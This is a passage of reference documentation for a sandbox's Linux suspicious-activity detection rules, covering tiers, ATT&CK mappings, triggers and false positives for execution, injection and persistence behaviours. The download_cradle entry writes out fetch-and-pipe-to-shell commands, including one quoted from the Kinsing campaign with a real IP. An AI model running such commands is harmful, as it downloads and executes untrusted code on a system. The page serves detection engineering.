Suspicious activity rules

Triage → Process → Suspicious activity lists behaviours recognised in a run’s system calls, kernel records and packets. This page is the reference for every rule: the 14 rule ids that exist in 0.7.0 (13 behaviours; memory.rwx_attempt is the failed form of memory.rwx), and the classification planned for 0.7.1 and 0.8.0. A row is something to look at, not a verdict.

How tiers, categories and status marks work is on Tiers and categories. How rows are grouped, lowered and hidden is on Noise handling.

How to read an entry

Each rule has a stable id, such as persistence.cron. Its first line gives:

the tier (HIGH, MEDIUM, LOW, INFO), and the category;
the status: ✅ recorded today, 🔶 needs correlation, 🔷 needs new kernel data;
whether it exists in 0.7.0 or is planned, with the version.

Then:

ATT&CK — the MITRE ATT&CK Enterprise technique for Linux, with the ATT&CK detection strategy (DET…) where there is one, and the Malware Behavior Catalog (MBC) id where useful. IDs were checked against ATT&CK v20 on 2026-10-21; ATT&CK v19 renumbered several defense evasion techniques, and the old IDs are given where they changed.
Trigger — the exact calls, arguments, paths or sequence.
Data — where the rule reads from: the syscall trace, a kernel record (lifecycle.creds, lifecycle.file_hash, lifecycle.file_id, lifecycle.exec_image), the Triage file lifecycle, the network capture (as TShark reads it), or static analysis.
Why this tier — how often benign software does the same, and the usual false positives.
References — a malware report, a detection rule (SigmaHQ, Elastic, CAPE) or the kernel documentation for the mechanism.

A finding is evaluated only on data the recording has. A recording from an older base without file identity records, for example, follows files by name, and network rules need a network capture for the run.

In 0.7.0 today

0.7.0 has 14 rule ids, two severities and no categories. Each matching call is one row; see Processes for the columns and Triage table filters for the fields.

Rule in 0.7.0	Severity today	Planned (0.7.1)
`memory.rwx`	high	HIGH; also write-and-execute without read, and `pkey_mprotect`; T1620 instead of T1055
`memory.rwx_attempt`	high	MEDIUM (the failed form)
`process.exec`	medium	INFO, not counted in the badge
`process.interpreter`	medium	LOW; versioned names and more interpreters; judged by the `#!` interpreter
`process.memfd_exec`	high	HIGH; also `/proc/self/fd/N` and memfd inodes
`process.memfd`	medium	LOW
`process.ptrace`	high	Split: `injection.ptrace_attach` and `injection.ptrace_poke` (HIGH), `evasion.traceme` (MEDIUM), the rest LOW
`process.vm_rw`	high	Split: `injection.vm_write` (HIGH, T1055) and `credential.proc_mem_read` (HIGH, T1003.007); the id is retired
`persistence.module`	high	HIGH, unchanged
`persistence.config_write`	medium	Split into the specific persistence, injection and privilege rules below; the rest LOW
`privilege.change`	medium	Replaced by `privilege.gain` (MEDIUM), `privilege.drop` (INFO), `privilege.setuid_exec` (LOW) and `privilege.kernel_exploit` (HIGH), from the kernel’s credential records; the id is retired
`bpf.program`	medium	MEDIUM; `rootkit.bpf_tracing` (HIGH) for tracing programs with tampering helpers
`bpf.socket_filter`	medium	MEDIUM; `c2.bpf_backdoor` (HIGH) with a packet socket
`bpf.seccomp_filter`	medium	LOW

Defects in 0.7.0 that the planned version fixes are noted under each rule as Correction. A filter on a retired id keeps matching the rows of a recording indexed before the change.

Context rules

These are not rules of their own; they change the tier of a matching rule. They are explained in Noise handling.

Context	Effect
The call failed	One tier down, except where failing is the signal (scans, brute force, `memory.rwx_attempt` keeps its own row)
Not in the run’s process tree and not caused by the sample	One tier down, hidden in a run
Started by cron, systemd, `at` or SSH for something the sample wrote	Keeps its tier; linked to the file that caused it
Program on the rule’s allow-list	One tier down
VM housekeeping on the built-in suppression list (DHCP, neighbor discovery, mDNS/LLMNR, NTP, the gateway’s DNS for the base’s own lookups)	Hidden
Network row not tied to a process of the run (until per-packet process attribution, planned for 0.7.1)	One tier down (`VM-wide`)
Capture all: process started before the capture began	Out of scope

All rules

The planned classification has 149 rules: 61 HIGH, 57 MEDIUM, 24 LOW, 7 INFO.

Rule	Planned tier	Category	Status	Rule available
`process.exec`	INFO	Execution	✅	in 0.7.0
`process.interpreter`	LOW	Execution	✅	in 0.7.0
`execution.download_cradle`	MEDIUM	Execution	✅	planned 0.7.1
`execution.dropped_exec`	HIGH	Execution	🔶	planned 0.7.1
`execution.chmod_exec_temp`	MEDIUM	Execution	✅	planned 0.7.1
`execution.temp_exec`	MEDIUM	Execution	✅	planned 0.7.1
`execution.compile_then_run`	MEDIUM	Execution	🔶	planned 0.7.1
`process.memfd_exec`	HIGH	Execution	✅	in 0.7.0
`execution.fileless_exec`	HIGH	Execution	✅	planned 0.7.1
`process.memfd`	LOW	Execution	✅	in 0.7.0
`execution.memfd_elf`	MEDIUM	Execution	🔶	planned 0.7.1
`execution.dropped_library`	MEDIUM	Execution	🔶	planned 0.7.1
`process.ptrace`	LOW	Injection	✅	in 0.7.0
`injection.ptrace_attach`	HIGH	Injection	✅	planned 0.7.1
`injection.ptrace_poke`	HIGH	Injection	✅	planned 0.7.1
`injection.vm_write`	HIGH	Injection	✅	planned 0.7.1
`injection.proc_mem_write`	HIGH	Injection	✅	planned 0.7.1
`injection.ld_preload_env`	MEDIUM	Injection	✅	planned 0.7.1
`injection.ld_so_preload`	HIGH	Injection	✅	planned 0.7.1
`injection.ld_so_conf`	MEDIUM	Injection	✅	planned 0.7.1
`persistence.cron`	HIGH	Persistence	✅	planned 0.7.1
`persistence.at_job`	MEDIUM	Persistence	✅	planned 0.7.1
`persistence.systemd`	HIGH	Persistence	✅	planned 0.7.1
`persistence.rc_init`	HIGH	Persistence	✅	planned 0.7.1
`persistence.event_script`	MEDIUM	Persistence	✅	planned 0.7.1
`persistence.shell_profile`	MEDIUM	Persistence	✅	planned 0.7.1
`persistence.ssh_authorized_keys`	HIGH	Persistence	✅	planned 0.7.1
`persistence.xdg_autostart`	MEDIUM	Persistence	✅	planned 0.7.1
`persistence.udev`	HIGH	Persistence	✅	planned 0.7.1
`persistence.pam`	HIGH	Persistence	✅	planned 0.7.1
`persistence.module`	HIGH	Persistence	✅	in 0.7.0
`persistence.module_autoload`	HIGH	Persistence	✅	planned 0.7.1
`persistence.apt_hook`	MEDIUM	Persistence	✅	planned 0.7.1
`persistence.web_shell`	MEDIUM	Persistence	✅	planned 0.7.1
`persistence.binary_replace`	HIGH	Persistence	✅	planned 0.7.1
`persistence.account`	HIGH	Persistence	✅	planned 0.7.1
`persistence.config_write`	LOW	Persistence	✅	in 0.7.0
`privilege.drop`	INFO	Privilege escalation	🔶	planned 0.7.1
`privilege.gain`	MEDIUM	Privilege escalation	🔶	planned 0.7.1
`privilege.setuid_exec`	LOW	Privilege escalation	✅	planned 0.7.1
`privilege.setid_bit`	HIGH	Privilege escalation	✅	planned 0.7.1
`privilege.pwnkit`	HIGH	Privilege escalation	✅	planned 0.7.1
`privilege.kernel_exploit`	HIGH	Privilege escalation	🔶	planned 0.7.1
`privilege.cred_overwrite`	HIGH	Privilege escalation	🔷	planned 0.8.0
`privilege.sudoers`	HIGH	Privilege escalation	✅	planned 0.7.1
`privilege.userns`	MEDIUM	Privilege escalation	✅	planned 0.7.1
`privilege.kernel_helper_hijack`	HIGH	Privilege escalation	✅	planned 0.7.1
`privilege.container_escape`	MEDIUM	Privilege escalation	✅	planned 0.7.1
`privilege.dirty_pipe`	HIGH	Privilege escalation	🔶	planned 0.7.1
`memory.rwx`	HIGH	Defense evasion / anti-analysis	✅	in 0.7.0
`memory.rwx_attempt`	MEDIUM	Defense evasion / anti-analysis	✅	in 0.7.0
`memory.wx_transition`	MEDIUM	Defense evasion / anti-analysis	🔶	planned 0.7.1
`memory.write_then_exec`	HIGH	Defense evasion / anti-analysis	🔷	planned 0.7.1
`memory.unpacked_capture`	INFO	Defense evasion / anti-analysis	🔷	planned 0.7.1
`evasion.packed_image`	LOW	Defense evasion / anti-analysis	✅	planned 0.7.1
`evasion.self_delete`	HIGH	Defense evasion / anti-analysis	🔶	planned 0.7.1
`evasion.log_clear`	HIGH	Defense evasion / anti-analysis	✅	planned 0.7.1
`evasion.history_clear`	MEDIUM	Defense evasion / anti-analysis	✅	planned 0.7.1
`evasion.security_disable`	HIGH	Defense evasion / anti-analysis	✅	planned 0.7.1
`evasion.firewall_modify`	MEDIUM	Defense evasion / anti-analysis	✅	planned 0.7.1
`evasion.audit_disable`	HIGH	Defense evasion / anti-analysis	✅	planned 0.7.1
`evasion.masquerade_kthread`	HIGH	Defense evasion / anti-analysis	✅	planned 0.7.1
`evasion.masquerade_daemon`	MEDIUM	Defense evasion / anti-analysis	✅	planned 0.7.1
`evasion.sandbox_probe`	MEDIUM	Defense evasion / anti-analysis	🔶	planned 0.7.1
`evasion.probe_then_exit`	MEDIUM	Defense evasion / anti-analysis	🔶	planned 0.7.1
`evasion.traceme`	MEDIUM	Defense evasion / anti-analysis	✅	planned 0.7.1
`evasion.debugger_check`	LOW	Defense evasion / anti-analysis	🔶	planned 0.7.1
`evasion.container_check`	LOW	Defense evasion / anti-analysis	✅	planned 0.7.1
`evasion.long_sleep`	MEDIUM	Defense evasion / anti-analysis	🔶	planned 0.7.1
`evasion.cpuid_probe`	MEDIUM	Defense evasion / anti-analysis	🔷	planned, later
`evasion.timing_probe`	LOW	Defense evasion / anti-analysis	🔷	planned, later
`evasion.timestomp`	MEDIUM	Defense evasion / anti-analysis	✅	planned 0.7.1
`evasion.kill_list`	MEDIUM	Defense evasion / anti-analysis	🔶	planned 0.7.1
`evasion.hidden_artifact`	LOW	Defense evasion / anti-analysis	✅	planned 0.7.1
`evasion.immutable_attr`	HIGH	Defense evasion / anti-analysis	✅	planned 0.7.1
`evasion.proc_hide_mount`	HIGH	Defense evasion / anti-analysis	✅	planned 0.7.1
`evasion.sysctl_security`	MEDIUM	Defense evasion / anti-analysis	✅	planned 0.7.1
`evasion.dumpable_off`	LOW	Defense evasion / anti-analysis	✅	planned 0.7.1
`evasion.io_uring_usage`	INFO	Defense evasion / anti-analysis	✅	planned 0.7.1
`bpf.seccomp_filter`	LOW	Defense evasion / anti-analysis	✅	in 0.7.0
`credential.shadow_read`	HIGH	Credential access	✅	planned 0.7.1
`credential.ssh_keys`	MEDIUM	Credential access	✅	planned 0.7.1
`credential.cloud_tokens`	HIGH	Credential access	✅	planned 0.7.1
`credential.browser_store`	MEDIUM	Credential access	✅	planned 0.7.1
`credential.wallet`	MEDIUM	Credential access	✅	planned 0.7.1
`credential.history_read`	LOW	Credential access	✅	planned 0.7.1
`credential.kerberos_ccache`	MEDIUM	Credential access	✅	planned 0.7.1
`credential.proc_mem_read`	HIGH	Credential access	✅	planned 0.7.1
`credential.cloud_metadata`	HIGH	Credential access	✅	planned 0.7.1
`discovery.process_enum`	LOW	Discovery	🔶	planned 0.7.1
`discovery.system_info`	INFO	Discovery	🔶	planned 0.7.1
`discovery.network_config`	LOW	Discovery	🔶	planned 0.7.1
`discovery.user_enum`	INFO	Discovery	✅	planned 0.7.1
`discovery.file_search`	LOW	Discovery	🔶	planned 0.7.1
`discovery.security_software`	MEDIUM	Discovery	✅	planned 0.7.1
`discovery.network_scan`	MEDIUM	Discovery	🔶	planned 0.7.1
`c2.reverse_shell`	HIGH	Command & control	🔶	planned 0.7.1
`c2.bind_shell`	HIGH	Command & control	🔶	planned 0.7.1
`network.listen_any`	MEDIUM	Command & control	✅	planned 0.7.1
`network.raw_socket`	MEDIUM	Command & control	✅	planned 0.7.1
`c2.bpf_backdoor`	HIGH	Command & control	🔶	planned 0.7.1
`bpf.socket_filter`	MEDIUM	Command & control	✅	in 0.7.0
`network.tor`	MEDIUM	Command & control	✅	planned 0.7.1
`network.ip_literal`	LOW	Command & control	🔶	planned 0.7.1
`network.dga_nxdomain`	MEDIUM	Command & control	🔶	planned 0.7.1
`network.dns_tunnel`	MEDIUM	Command & control	🔶	planned 0.7.1
`network.nonstandard_port`	LOW	Command & control	🔶	planned 0.7.1
`network.irc_c2`	MEDIUM	Command & control	✅	planned 0.7.1
`network.web_service`	LOW	Command & control	✅	planned 0.7.1
`network.beacon`	LOW	Command & control	🔶	planned 0.7.1
`network.proxy_tunnel`	MEDIUM	Command & control	✅	planned 0.7.1
`c2.elf_download`	HIGH	Command & control	🔶	planned 0.7.1
`lateral.ssh_spread`	HIGH	Lateral movement	🔶	planned 0.7.1
`lateral.bruteforce`	HIGH	Lateral movement	🔶	planned 0.7.1
`lateral.service_exploit`	MEDIUM	Lateral movement	🔶	planned 0.7.1
`lateral.tool_transfer`	MEDIUM	Lateral movement	✅	planned 0.7.1
`exfil.file_to_socket`	MEDIUM	Exfiltration	✅	planned 0.7.1
`exfil.large_upload`	MEDIUM	Exfiltration	🔶	planned 0.7.1
`collection.keylog`	MEDIUM	Collection	✅	planned 0.7.1
`collection.tty_inject`	MEDIUM	Collection	✅	planned 0.7.1
`collection.screen_capture`	LOW	Collection	✅	planned 0.7.1
`collection.av_capture`	LOW	Collection	✅	planned 0.7.1
`collection.archive_staging`	MEDIUM	Collection	🔶	planned 0.7.1
`collection.clipboard`	LOW	Collection	✅	planned 0.7.1
`collection.local_sweep`	LOW	Collection	🔶	planned 0.7.1
`impact.ransom_rewrite`	HIGH	Impact	🔶	planned 0.7.1
`impact.ransom_note`	MEDIUM	Impact	🔶	planned 0.7.1
`impact.mass_delete`	HIGH	Impact	🔶	planned 0.7.1
`impact.block_device_write`	HIGH	Impact	✅	planned 0.7.1
`impact.reboot`	HIGH	Impact	✅	planned 0.7.1
`impact.miner`	HIGH	Impact	✅	planned 0.7.1
`impact.miner_tuning`	MEDIUM	Impact	✅	planned 0.7.1
`impact.fork_bomb`	MEDIUM	Impact	🔶	planned 0.7.1
`impact.ddos_flood`	HIGH	Impact	🔶	planned 0.7.1
`impact.service_stop`	MEDIUM	Impact	✅	planned 0.7.1
`impact.inhibit_recovery`	MEDIUM	Impact	✅	planned 0.7.1
`bpf.program`	MEDIUM	Rootkit	✅	in 0.7.0
`rootkit.bpf_tracing`	HIGH	Rootkit	✅	planned 0.8.0
`rootkit.dev_mem`	HIGH	Rootkit	✅	planned 0.7.1
`rootkit.module_capture`	INFO	Rootkit	🔷	planned 0.8.0
`rootkit.module_hidden`	HIGH	Rootkit	🔷	planned 0.8.0
`rootkit.syscall_table`	HIGH	Rootkit	🔷	planned 0.8.0
`rootkit.text_patch`	HIGH	Rootkit	🔷	planned 0.8.0
`rootkit.ftrace_hook`	HIGH	Rootkit	🔷	planned 0.8.0
`rootkit.kprobe_hook`	HIGH	Rootkit	🔷	planned 0.8.0
`rootkit.netfilter_hook`	HIGH	Rootkit	🔷	planned 0.8.0
`rootkit.hidden_process`	HIGH	Rootkit	🔶🔷	planned 0.8.0
`rootkit.hidden_file`	HIGH	Rootkit	🔶🔷	planned 0.8.0
`rootkit.hidden_port`	HIGH	Rootkit	🔶🔷	planned 0.8.0

Execution

`process.exec` — program execution

INFO · Execution · ✅ · Exists in 0.7.0 as medium; INFO from 0.7.1 (version 2)
ATT&CK: data component DC0032 Process Creation; a technique only through the rules below
Trigger: execve (59) or execveat (322).
Data: syscall trace (path, argv, envp at entry; lifecycle.exec_commit, lifecycle.exec_image).
Why this tier: every program starts programs. In 0.7.0 this rule is most of the badge; as INFO it stays on the timeline and in the graph but is not counted.
References: execve(2), execveat(2).

`process.interpreter` — shell or script interpreter started

LOW · Execution · ✅ · Exists in 0.7.0 as medium; LOW and widened in 0.7.1 (version 2)
ATT&CK: T1059.004 Unix Shell (DET0384), T1059.006 Python (DET0063), T1059.007 JavaScript (DET0264), T1059.011 Lua (DET0101)
Trigger: an exec whose image, or whose #! interpreter in lifecycle.exec_image, is a shell or interpreter. 0.7.0 matches the exact names sh, bash, dash, zsh, python, python3, perl, ruby, node. Version 2 adds versioned names (python3.12), ash, ksh, mksh, busybox sh, php, lua, tclsh, awk, and judges a script by its interpreter.
Data: syscall trace; kernel record lifecycle.exec_image.
Why this tier: system() and popen() start a shell; package scripts and services run interpreters constantly. The summary shows the -c command line, which is the useful part.
Noise: grouped per parent and command line.
References: Sigma: Linux Shell Pipe to Shell, Sigma: Inline Python Execution - Spawn Shell Via OS System Library.

`execution.download_cradle` — download piped into an interpreter

MEDIUM · Execution · ✅ · Planned 0.7.1
ATT&CK: T1105 Ingress Tool Transfer (DET0060), T1059.004 Unix Shell
Trigger: an exec of a shell with -c whose argument runs curl, wget, fetch, tftp or a /dev/tcp/ redirection and pipes or passes the result to sh, bash, python, perl (for example wget -q -O - HOST/d.sh | sh); or python -c/perl -e code that downloads and executes.
Data: syscall trace (argv at entry).
Why this tier: installers such as curl … | sh are common for developer tools, so it is not HIGH on its own; it rises to HIGH through execution.dropped_exec and c2.elf_download.
References: Aqua, Threat Alert: Kinsing Malware Attacks Targeting Container Environments (2020; wget -q -O - 142.44.191.122/d.sh | sh over the Docker API), Elastic: File Downloaded by Curl/Wget and Piped to Interpreter, Sigma: Suspicious Download and Execute Pattern via Curl/Wget.

`execution.dropped_exec` — a file written during the run is executed

HIGH · Execution · 🔶 · Planned 0.7.1
ATT&CK: T1105 Ingress Tool Transfer (DET0060) · MBC B0023 Install Additional Program
Trigger: an exec whose image was created or written by the run before the exec: the inode in the exec’s lifecycle.file_id (kind Exec) matches a file the run created, wrote or renamed into place; without file identity, the same path. The launched sample itself and files uploaded before the run do not count.
Data: kernel records lifecycle.file_id, lifecycle.exec_image, lifecycle.file_hash (write at last close); Triage file lifecycle.
Why this tier: this is what a dropper does. Benign cases are self-extracting installers and build systems; compilers are handled by execution.compile_then_run.
References: Aqua Kinsing report (above: d.sh downloads kinsing and runs it), Sigma: Download File To Potentially Suspicious Directory Via Wget.

`execution.chmod_exec_temp` — made executable in a staging directory

MEDIUM · Execution · ✅ · Planned 0.7.1
ATT&CK: T1222.002 Linux and Mac Permissions (formerly “Linux and Mac File and Directory Permissions Modification”; DET0351)
Trigger: chmod, fchmod, fchmodat, fchmodat2 that adds an execute bit to a file under /tmp, /var/tmp, /dev/shm, /run/user or a path with a hidden component.
Data: syscall trace; Triage file category Permissions.
Why this tier: build and test tools do it in /tmp; malware does it to every download.
References: Sigma: Chmod Targeting Sensitive Directories, Elastic: Suspicious File Made Executable via Chmod Inside A Container; ATT&CK T1222.002 procedure examples (Kinsing, Penquin).

`execution.temp_exec` — program run from a staging or hidden directory

MEDIUM · Execution · ✅ · Planned 0.7.1
ATT&CK: T1027.011 Fileless Storage for /dev/shm (DET0344), T1564.001 Hidden Files and Directories for hidden paths (DET0032)
Trigger: an exec whose image is under /tmp, /var/tmp, /dev/shm or has a component starting with . (path class temp or hidden), other than the launched sample’s own image.
Data: syscall trace; path classes.
Why this tier: samples are often uploaded to /tmp, so the sample itself is excluded; installers and test runners also run from /tmp.
References: Elastic: Binary Executed from Shared Memory Directory, Sigma: Process Execution From Shared Memory Directory, Sigma: Potentially Suspicious Execution From Tmp Folder. Vendors differ on the technique (Elastic tags T1036, Sigma T1027.011).

`execution.compile_then_run` — code compiled in the guest and run

MEDIUM · Execution · 🔶 · Planned 0.7.1
ATT&CK: T1027.004 Compile After Delivery (DET0501)
Trigger: gcc, cc, clang, tcc, as or ld started by the run writes an output file that the run then executes.
Data: syscall trace, process tree, file identity.
Why this tier: compiling is normal on a developer machine and rare for a dropped sample; local exploit compilation is the typical case.
References: ATT&CK T1027.004 procedure examples (Rocke delivered .c files compiled with GCC), Elastic: Potential Privilege Escalation via Recently Compiled Executable.

`process.memfd_exec` — execution of a memory-only file

HIGH · Execution · ✅ · Exists in 0.7.0 (high); widened in 0.7.1 (version 2)
ATT&CK: T1620 Reflective Code Loading (DET0300)
Trigger: 0.7.0: execveat(fd, "", AT_EMPTY_PATH) on a descriptor the run got from memfd_create. Version 2 also: execve("/proc/self/fd/N"), /proc/PID/fd/N or /dev/fd/N resolving to a memfd, and any exec whose lifecycle.file_id names a memfd inode.
Data: syscall trace with descriptor state; kernel record lifecycle.file_id.
Why this tier: running an image that never existed on disk is a loader technique; benign uses (some sandboxes and self-updaters) are rare.
References: memfd_create(2); LevelBlue (AT&T Alien Labs), Malware using new Ezuri memory loader (2021; TeamTNT and Gafgyt; the Ezuri stub calls memfd_create then execs /proc/self/fd/N); Sandfly Security, Detecting Linux memfd_create() Fileless Malware; Elastic: Potential Fileless Execution via Unusual memfd Create Call.
Correction: 0.7.0 cites DET0508 for process.memfd. DET0508 is the T1055 process injection strategy; the memfd execution strategy is DET0300.

`execution.fileless_exec` — execution of a deleted or unnamed file

HIGH · Execution · ✅ · Planned 0.7.1
ATT&CK: T1620 Reflective Code Loading (DET0300)
Trigger: an exec whose image inode has no name left (nlink == 0 in lifecycle.file_id), was opened with O_TMPFILE, or is reached through /proc/*/fd/N and is not a memfd.
Data: kernel record lifecycle.file_id; syscall trace.
Why this tier: a program that deletes its image and then runs it, or runs an unnamed file, is hiding its executable.
References: Sandfly Security memfd article (above; /proc/*/exe -> (deleted)), Elastic: Potential Fileless Execution via O_TMPFILE, open(2) O_TMPFILE.

`process.memfd` — memory-only file created

LOW · Execution · ✅ · Exists in 0.7.0 as medium; LOW in 0.7.1 (version 2)
ATT&CK: context for T1620 (DET0300)
Trigger: memfd_create (319).
Data: syscall trace.
Why this tier: systemd, Wayland and PulseAudio clients, Chromium and many runtimes use memfds for shared memory. Only what is written into it and executed matters.
References: memfd_create(2).

`execution.memfd_elf` — an ELF image written into a memfd

MEDIUM · Execution · 🔶 · Planned 0.7.1
ATT&CK: T1620 Reflective Code Loading
Trigger: a write, pwrite64, sendfile or copy_file_range into a memfd whose first captured bytes are \x7fELF.
Data: syscall trace (written bytes are captured).
Why this tier: staging an executable in memory; it becomes HIGH when it is executed (process.memfd_exec).
References: Ezuri stub and LevelBlue report (above).

`execution.dropped_library` — a library written during the run is loaded

MEDIUM · Execution · 🔶 · Planned 0.7.1
ATT&CK: T1129 Shared Modules (DET0018)
Trigger: mmap with PROT_EXEC of a file the run created or wrote (by file identity or path).
Data: syscall trace; Triage file category Mapped; file identity.
Why this tier: plugins and JIT caches do this; a dropper that loads its payload as a .so does too.
References: ATT&CK T1129 procedure examples (RotaJakiro loads .so files with dlopen()), Elastic: Shared Object Created by Previously Unknown Process, dlopen(3).

Injection

`process.ptrace` — other ptrace requests

LOW · Injection · ✅ · Exists in 0.7.0 as high for every request; LOW in 0.7.1 (version 2) for requests no rule below covers
ATT&CK: T1055.008 Ptrace System Calls (context)
Trigger: ptrace (101) with a request other than those of evasion.traceme, injection.ptrace_attach and injection.ptrace_poke (for example PEEKDATA, GETREGS, CONT).
Data: syscall trace.
Why this tier: these requests follow an attach and are only meaningful with it; one row per tracer and target, with a count.
References: ptrace(2).

`injection.ptrace_attach` — attach to another process

HIGH · Injection · ✅ · Planned 0.7.1 (split from process.ptrace)
ATT&CK: T1055.008 Ptrace System Calls (DET0203)
Trigger: ptrace(PTRACE_ATTACH) (16) or ptrace(PTRACE_SEIZE) (0x4206) on a pid that is not the caller.
Data: syscall trace.
Why this tier: only debuggers, tracers and crash handlers attach to other processes; a sample is none of these. Antinomie’s own debugger does not use ptrace, so it never raises this rule.
References: Akamai, The Definitive Guide to Linux Process Injection (2024), dlinject, Elastic: Potential Sudo Token Manipulation via Process Injection, ptrace(2).

`injection.ptrace_poke` — writing another process’s memory or registers

HIGH · Injection · ✅ · Planned 0.7.1 (split from process.ptrace)
ATT&CK: T1055.008 Ptrace System Calls (DET0203)
Trigger: ptrace with POKETEXT (4), POKEDATA (5), POKEUSER (6), SETREGS (13), SETFPREGS (15) or SETREGSET (0x4205).
Data: syscall trace. The target’s memory is never read (it is recorded as address only); the written word is the data argument.
Why this tier: changing another process’s code or registers is injection unless the sample is a debugger.
References: Akamai guide and dlinject (above), ptrace(2).

`injection.vm_write` — `process_vm_writev` into another process

HIGH · Injection · ✅ · Planned 0.7.1 (split from process.vm_rw)
ATT&CK: T1055 Process Injection (DET0508, DET0203) · MBC E1055 Process Injection
Trigger: process_vm_writev (311) with a pid other than the caller’s.
Data: syscall trace; the local buffers (the payload) are captured, the remote side is address only.
Why this tier: benign uses are debuggers and checkpoint tools.
References: process_vm_writev(2), Akamai guide (above).
Correction: 0.7.0 labels both process_vm_readv and process_vm_writev T1055.009, which is /proc/PID/mem. Writing maps to T1055 (ATT&CK has no dedicated sub-technique); reading is credential.proc_mem_read.

`injection.proc_mem_write` — writing `/proc/PID/mem`

HIGH · Injection · ✅ · Planned 0.7.1
ATT&CK: T1055.009 Proc Memory (DET0541)
Trigger: open/openat/openat2 of /proc/PID/mem with O_WRONLY or O_RDWR where PID is not the caller (MEDIUM for /proc/self/mem), and writes to that descriptor.
Data: syscall trace with descriptor state.
Why this tier: only debuggers write another process’s memory this way.
References: proc_pid_mem(5), dlinject (above), Sigma: Potential Linux Process Code Injection Via DD Utility.

`injection.ld_preload_env` — program started with a preload variable

MEDIUM · Injection · ✅ · Planned 0.7.1
ATT&CK: T1574.006 Dynamic Linker Hijacking (DET0435)
Trigger: an exec whose environment contains LD_PRELOAD=, LD_AUDIT=, or LD_LIBRARY_PATH= pointing into a temp or hidden directory.
Data: syscall trace (envp is captured at entry).
Why this tier: fakeroot, libeatmydata, sanitizers and some launchers set LD_PRELOAD.
References: Elastic: Unusual Preload Environment Variable Process Execution, ld.so(8).

`injection.ld_so_preload` — `/etc/ld.so.preload` written

HIGH · Injection · ✅ · Planned 0.7.1 (in 0.7.0 only as persistence.config_write)
ATT&CK: T1574.006 Dynamic Linker Hijacking (DET0435)
Trigger: a create, truncate, write, rename onto, link or symlink of /etc/ld.so.preload.
Data: syscall trace; Triage file lifecycle; path class persistence.
Why this tier: almost no software uses this file; userland rootkits load into every process through it.
References: Intezer, Symbiote: A New, Nearly-Impossible-to-Detect Linux Threat (2022), Intezer, HiddenWasp Malware Stings Targeted Linux Systems (2019), Sigma: Modification of ld.so.preload, Elastic: Modification of Dynamic Linker Preload Shared Object.

`injection.ld_so_conf` — linker search path changed

MEDIUM · Injection · ✅ · Planned 0.7.1
ATT&CK: T1574.006 Dynamic Linker Hijacking
Trigger: a change to /etc/ld.so.conf or /etc/ld.so.conf.d/*, or /etc/ld.so.cache.
Data: syscall trace; file lifecycle.
Why this tier: package installs add library directories; a sample adding one in a temp or hidden directory is redirecting libraries.
References: Elastic: Dynamic Linker Creation.

Persistence

All persistence rules match on the destination of a rename or link, follow a file across renames by its inode when the guest recorded it, and also apply to file operations submitted through io_uring or AIO (planned).

`persistence.cron` — cron job written

HIGH · Persistence · ✅ · Planned 0.7.1 (in 0.7.0 only as persistence.config_write)
ATT&CK: T1053.003 Cron (DET0290)
Trigger: a change under /etc/crontab, /etc/cron.d, /etc/cron.{hourly,daily,weekly,monthly}, /var/spool/cron, or an exec of crontab with a file or - argument.
Data: syscall trace; file lifecycle; path class persistence.
Why this tier: only package installs write cron files, and a sample is rarely a package.
References: Microsoft, Rise in XorDdos (2022; /etc/cron.hourly/gcc.sh), Aqua Kinsing report (above; crontab every minute), Sigma: New Cron File Created, Elastic: Cron Job Created or Modified, crontab(5).

`persistence.at_job` — `at` job queued

MEDIUM · Persistence · ✅ · Planned 0.7.1
ATT&CK: T1053.002 At (DET0333)
Trigger: an exec of at or batch, or a write under /var/spool/cron/atjobs or /var/spool/at.
Data: syscall trace.
Why this tier: rarely used, and a one-shot job is weaker persistence than cron.
References: Sigma: Scheduled Task/Job At, Elastic: At Job Created or Modified.

`persistence.systemd` — systemd unit or timer written

HIGH · Persistence · ✅ · Planned 0.7.1 (partly in 0.7.0 as persistence.config_write)
ATT&CK: T1543.002 Systemd Service (DET0253), T1053.006 Systemd Timers (DET0231)
Trigger: a change under /etc/systemd/system, /run/systemd/system, /lib/systemd/system, /usr/lib/systemd/system, ~/.config/systemd/user, or a systemd generator directory; or systemctl enable of a unit the run wrote.
Data: syscall trace; file lifecycle.
Why this tier: package installs are the only common benign writer.
References: Sysdig, Chaos Malware Quietly Evolves Persistence and Evasion Techniques (/usr/lib/systemd/linux.service), 360 Netlab, RotaJakiro (sys-temd-agent.service), Sigma: Systemd Service Creation, Elastic: Systemd Timer Created.

`persistence.rc_init` — init script or `rc.local` written

HIGH · Persistence · ✅ · Planned 0.7.1
ATT&CK: T1037.004 RC Scripts (DET0237)
Trigger: a change to /etc/rc.local, /etc/rc*.d/*, /etc/init.d/*, /etc/init/*.conf, or an exec of update-rc.d/chkconfig naming a script the run wrote.
Data: syscall trace; file lifecycle.
Why this tier: SysV scripts are almost never added outside package installs.
References: Microsoft XorDdos report (above; /etc/init.d script and S90 links), Intezer, New Linux Backdoor RedXOR (2021), Elastic: System V Init Script Created.

`persistence.event_script` — login or network event script written

MEDIUM · Persistence · ✅ · Planned 0.7.1
ATT&CK: T1037 Boot or Logon Initialization Scripts (DET0112); the NetworkManager case is also tagged T1546 by Elastic
Trigger: a change under /etc/update-motd.d/ or /etc/NetworkManager/dispatcher.d/.
Data: syscall trace.
Why this tier: distribution packages add such scripts; ATT&CK has no sub-technique for them.
References: Elastic: Message-of-the-Day (MOTD) File Creation, Elastic: NetworkManager Dispatcher Script Creation.

`persistence.shell_profile` — shell start-up file changed

MEDIUM · Persistence · ✅ · Planned 0.7.1 (partly in 0.7.0 as persistence.config_write)
ATT&CK: T1546.004 Unix Shell Configuration Modification (DET0020)
Trigger: a change to /etc/profile, /etc/profile.d/*, /etc/bash.bashrc, /etc/environment, or a home directory’s (including /root’s) .bashrc, .bash_profile, .bash_login, .bash_logout, .profile, .zshrc, .zshenv, .zprofile, .zlogin.
Data: syscall trace; path class persistence.
Why this tier: tool installers (conda, nvm, rustup) append to these files.
Correction: 0.7.0 checks /root/.ssh/ but not /root/.bashrc or /root/.profile.
References: RotaJakiro report (above; modifies .bashrc), Sigma: Unix Shell Configuration Modification, Elastic: Shell Configuration Creation.

`persistence.ssh_authorized_keys` — SSH key or SSH daemon configuration planted

HIGH · Persistence · ✅ · Planned 0.7.1 (partly in 0.7.0 as persistence.config_write)
ATT&CK: T1098.004 SSH Authorized Keys (DET0126)
Trigger: a change to any authorized_keys or authorized_keys2, ~/.ssh/rc, /etc/ssh/sshd_config or /etc/ssh/sshd_config.d/*.
Data: syscall trace; path classes persistence and credentials.
